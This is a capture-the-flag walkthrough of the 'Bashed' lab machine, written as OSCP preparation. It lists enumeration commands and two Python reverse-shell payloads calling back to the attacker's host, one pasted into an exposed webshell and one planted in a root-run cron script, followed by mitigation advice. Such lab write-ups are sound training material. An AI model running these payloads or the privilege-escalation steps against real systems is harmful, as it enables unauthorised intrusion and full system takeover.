This write-up is part of my OSCP preparations series and I'll be smashing through TJ Null's list of OSCP-like boxes. This is OSCP_03.
Things we will be going through:
-> Assessment: Initial enumeration of the box to find footholds and entry points.-> User Ownage: Exploiting the found vulnerabilities to compromise a low-privilege user account.
-> Root Owngae: Local enumeration and privilege escalation to complete system compromise.
Assessment:
Like tradition, let's do a port scan using Nmap:╰─ nmap -sC -sV -T4 -vvv -oA bashed 10.10.10.68 Host is up, received reset ttl 63 (0.17s latency). Scanned at 2020-03-06 16:24:57 IST for 15s Not shown: 999 closed ports Reason: 999 resets PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Arrexel's Development Site
Only a single port was reported:
- Port 80 HTTP: Like always, I hopped on my browser to enumerate the website and this was the homepage:
As the title of the webpage said "Arrexel's Development Site" and there are mentions of "phpbash", this seemed to be the development server of Arrexel's famed phpbash webshell[GitHub Link]. I moved on to enumerating directories and ran gobuster:╰─ gobuster dir -w /usr/share/wordlists/dirb/small.txt -x sh,pl -u http://10.10.10.68 -t 50 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.68 [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirb/small.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: sh,pl [+] Timeout: 10s =============================================================== 2020/03/06 16:30:26 Starting gobuster =============================================================== /css (Status: 301) /dev (Status: 301) /images (Status: 301) /js (Status: 301) /php (Status: 301) /uploads (Status: 301) =============================================================== 2020/03/06 16:30:40 Finished ===============================================================
Only directories of interest were "/dev" and "/uploads". I proceeded to check out "/dev" and it was listable:
As it was evident, the phpbash shell was uploaded and was accessible:
User Ownage:
You can either do the rest of box through the webshell or can proceed to get a reverse shell. I chose the latter. The only reverse shell that seemed to working was the python one so I pasted this in the webshell:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'and caugh the revshell:
╰─ nc -nlvp 1234 listening on [any] 1234 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.68] 59014 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ hostname bashedAnd from here the user flag was obtainable. Let's move on to privilege escalation.
Root Ownage:
In this box, there were two escalations. First from "www-data" to "scriptmanager" and then to "root".First Pivot:
I checked the sudo permissions as the first user:www-data@bashed:/var/www/html/dev$ sudo -l sudo -l Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALLSo we are allowed to run any command as "scriptmanager". That's sweet! Using a simple command, I got shell as the next user:
www-data@bashed:/$ sudo -u scriptmanager /bin/bash
Root Pivot:
Moving on to local enumeration:scriptmanager@bashed:/$ ls -la ls -la total 88 drwxr-xr-x 23 root root 4096 Dec 4 2017 . drwxr-xr-x 23 root root 4096 Dec 4 2017 .. drwxr-xr-x 2 root root 4096 Dec 4 2017 bin drwxr-xr-x 3 root root 4096 Dec 4 2017 boot drwxr-xr-x 19 root root 4240 Mar 9 07:24 dev drwxr-xr-x 89 root root 4096 Dec 4 2017 etc drwxr-xr-x 4 root root 4096 Dec 4 2017 home lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic drwxr-xr-x 19 root root 4096 Dec 4 2017 lib drwxr-xr-x 2 root root 4096 Dec 4 2017 lib64 drwx------ 2 root root 16384 Dec 4 2017 lost+found drwxr-xr-x 4 root root 4096 Dec 4 2017 media drwxr-xr-x 2 root root 4096 Feb 15 2017 mnt drwxr-xr-x 2 root root 4096 Dec 4 2017 opt dr-xr-xr-x 115 root root 0 Mar 9 07:24 proc drwx------ 3 root root 4096 Dec 4 2017 root drwxr-xr-x 18 root root 500 Mar 9 07:24 run drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 scripts drwxr-xr-x 2 root root 4096 Feb 15 2017 srv dr-xr-xr-x 13 root root 0 Mar 9 07:24 sys drwxrwxrwt 10 root root 4096 Mar 9 07:30 tmp drwxr-xr-x 10 root root 4096 Dec 4 2017 usr drwxr-xr-x 12 root root 4096 Dec 4 2017 var lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-genericThe "scripts" folder looks weird. Checking it out revealed these files:
scriptmanager@bashed:/$ ls -la /scripts/ ls -la /scripts/ total 16 drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 . drwxr-xr-x 23 root root 4096 Dec 4 2017 .. -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py -rw-r--r-- 1 root root 12 Mar 9 07:31 test.txtAnd "test.py" had a few simple lines of code:
scriptmanager@bashed:/$ cat /scripts/test.py cat /scripts/test.py f = open("test.txt", "w") f.write("testing 123!")So it was simply creating the "test.txt" in the same directory. But since permissions of the output file showed it was owned by "root", the lines inside the python file were probably being executed as root. Also, even though I didn't check the crontab, experience told that this file might be getting executed repeatedly after a certain interval. So I changed the contents of "test.py" to this:
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.11",1337)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])It's the same python revshell one-liner, just in form of a program. After a few minutes, I got the root shell:
╰─ nc -lnvp 1337 listening on [any] 1337 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.68] 44568 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # wc -c root.txt 33 root.txtAnd root ownage!
Mitigation:
- Vulnerability 1 (File Exposure): It is good practice to not leave important files lying around on a web server, especially with lax permissions. This can lead to serious vulnerabilities such as LFIs, RCEs, data exposure, etc. Make sure to put correct permissions on important directories and not to leave sensitive files on active web servers.
- Vulnerability 2 (Rogue Permissions): It should be made sure that unnecessary permissions are not given to commands that may lead to privilege escalation. Sudo privileges should be given only to those accounts that require it. Don't leave files that can execute commands as root in hands of low privilege accounts.